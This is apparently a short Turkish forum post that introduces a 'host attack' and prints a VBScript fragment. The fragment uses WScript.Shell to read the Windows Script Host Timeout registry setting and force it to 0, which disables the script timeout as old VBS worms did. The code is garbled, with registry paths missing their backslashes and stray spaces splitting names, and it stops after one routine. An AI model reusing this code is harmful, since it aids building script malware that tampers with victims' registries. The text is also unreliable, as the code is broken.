1. 1.
    0
    Burası önemli şimdi host saldırımızı belirliyoruz kodlar aşağıda
    ---
    sub main()
    On Error Resume Next
    dim wscr,rr
    set wscr=CreateObject("WScript. Shell")
    rr=wscr. RegRead("HKEY_CURRENT_USERSoftwareMicros oftWindows Scripting HostSettingsTimeout")
    if (rr>=1) then
    wscr. RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindows Scripting HostSettingsTimeout",0,"REG_DWORD"
    end if
    ---
    eğer kayıt defterini açarsanız bunları görürsünüz
    ···
   tümünü göster